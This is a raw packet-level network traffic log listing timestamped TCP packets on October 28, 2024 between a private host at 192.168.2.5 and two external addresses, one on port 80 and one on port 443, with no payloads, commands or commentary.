Oct 28, 2024 18:43:10.236610889 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.236646891 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.236988068 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.237000942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.237011909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.237024069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.237056017 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.237078905 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.237804890 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.237823963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.237835884 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.237848997 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.237857103 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.237894058 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.237894058 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.238656998 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.238668919 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.238677979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.238687992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.238698959 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.238709927 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.238735914 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.238760948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.277614117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.277663946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.277676105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.277908087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.280869961 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.280930996 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.281035900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.281049013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.281089067 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.281395912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.281407118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.281461000 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.281738043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.281749964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.281760931 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.281774044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.281790972 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.281826973 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.281827927 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.282464027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.282515049 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.282830000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.282882929 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.282951117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.282963037 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.283018112 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.283241034 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.283252001 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.283294916 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.324800014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.324904919 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.324914932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.324982882 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.325020075 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.352133989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.352190018 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.352201939 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.352211952 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.352250099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.352413893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.352426052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.352479935 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.352646112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.352657080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.352705002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.353019953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.353075027 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.353107929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.353116989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.353157043 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.353344917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.353355885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.353365898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.353398085 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.353426933 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.353816986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.353827953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.353837967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.353851080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.353887081 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.353916883 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.354466915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.354477882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.354489088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.354501009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.354518890 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.354556084 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.354556084 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.355140924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.355158091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.355168104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.355179071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.355243921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.355243921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.355243921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.355973959 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.355990887 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.355998993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.356009960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.356021881 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.356031895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.356065035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.356065035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.356803894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.356816053 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.356833935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.356846094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.356857061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.356861115 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.356899023 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.356899023 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.357533932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.357544899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.357558966 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.357588053 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.357620955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.396917105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.397002935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.397015095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.397062063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.397114992 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.399950027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.400015116 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.400039911 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.400049925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.400094032 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.400285006 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.400295973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.400306940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.400341034 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.400369883 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.400873899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.400883913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.400895119 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.400906086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.400929928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.400969028 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.401683092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.401695013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.401705027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.401715994 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.401746035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.401777983 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.402086020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.402098894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.402111053 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.402137995 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.402168036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.402641058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.402652979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.402707100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.443690062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.443778038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.443794012 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.444080114 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.470983028 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.471052885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.471064091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.471195936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.471195936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.471262932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.471273899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.471286058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.471307993 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.471337080 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.471576929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.471626043 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.471759081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.471771002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.471800089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.471817017 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:10.472125053 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.472137928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:10.472172022 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:11.823828936 CET	49708	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:11.823856115 CET	443	49708	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:11.823914051 CET	49708	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:11.824136019 CET	49708	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:11.824146986 CET	443	49708	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:11.890383005 CET	49709	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:11.890423059 CET	443	49709	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:11.890484095 CET	49709	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:11.891310930 CET	49709	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:11.891326904 CET	443	49709	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:11.942084074 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:11.942183018 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:11.942281008 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:11.942841053 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:11.942873955 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:11.988291025 CET	49711	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:11.988333941 CET	443	49711	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:11.988416910 CET	49711	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:11.993371010 CET	49711	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:11.993392944 CET	443	49711	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:12.508296967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:12.508352041 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:12.689843893 CET	443	49708	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:12.690157890 CET	49708	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:12.690221071 CET	443	49708	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:12.691924095 CET	443	49708	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:12.691997051 CET	49708	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:12.693181038 CET	49708	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:12.693274021 CET	443	49708	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:12.693389893 CET	49708	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:12.693408012 CET	443	49708	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:12.738127947 CET	49708	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:12.753196955 CET	443	49709	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:12.753483057 CET	49709	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:12.753540993 CET	443	49709	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:12.755007029 CET	443	49709	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:12.755074024 CET	49709	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:12.755587101 CET	49709	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:12.755676985 CET	443	49709	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:12.756006956 CET	49709	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:12.756023884 CET	443	49709	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:12.800719976 CET	49709	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:12.810863018 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:12.811769962 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:12.811789989 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:12.812094927 CET	49709	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:12.812174082 CET	443	49709	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:12.812367916 CET	443	49709	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:12.812375069 CET	49709	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:12.812416077 CET	49709	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:12.815850973 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:12.816005945 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:12.816987038 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:12.817054987 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:12.817115068 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:12.859358072 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:12.859383106 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:12.887792110 CET	443	49711	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:12.888020992 CET	49711	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:12.888053894 CET	443	49711	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:12.889367104 CET	443	49711	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:12.889425039 CET	49711	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:12.889780998 CET	49711	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:12.889853954 CET	443	49711	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:12.889936924 CET	49711	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:12.889947891 CET	443	49711	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:12.909953117 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:12.941214085 CET	49711	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:12.963754892 CET	443	49708	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.019349098 CET	49708	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.019366026 CET	443	49708	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.020536900 CET	49708	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.020704031 CET	443	49708	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.021121025 CET	443	49708	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.021193027 CET	49708	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.021225929 CET	49708	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.113761902 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.113893986 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.113956928 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.113997936 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.114084959 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.114137888 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.114147902 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.114413977 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.114465952 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.114475965 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.124953985 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.125037909 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.125072956 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.175570011 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.178014040 CET	443	49711	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.222479105 CET	49711	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.222551107 CET	443	49711	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.223701000 CET	49711	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.223781109 CET	443	49711	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.223850965 CET	49711	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.233369112 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.233563900 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.233654022 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.233668089 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.233695030 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.233752012 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.233787060 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.242420912 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.242489100 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.242541075 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.246074915 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.247643948 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.247699022 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.290792942 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.290821075 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.332192898 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.353065968 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.353247881 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.353307962 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.353338957 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.356442928 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.356496096 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.356507063 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.362242937 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.362303019 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.362312078 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.365931988 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.365983963 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.366007090 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.407032013 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.636442900 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.637301922 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.637384892 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.637386084 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.637420893 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.637691021 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.637731075 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.639353037 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.639405966 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.639414072 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.639503956 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.639545918 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.639553070 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.641061068 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.641117096 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.641125917 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.641839027 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.641885042 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.641900063 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.641907930 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.641961098 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.642671108 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.643515110 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.643567085 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.643583059 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.643666983 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.643714905 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.643721104 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.644157887 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.644202948 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.644210100 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.644311905 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.644354105 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.644361019 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.656073093 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.656148911 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.656160116 CET	443	49710	142.250.184.196	192.168.2.5
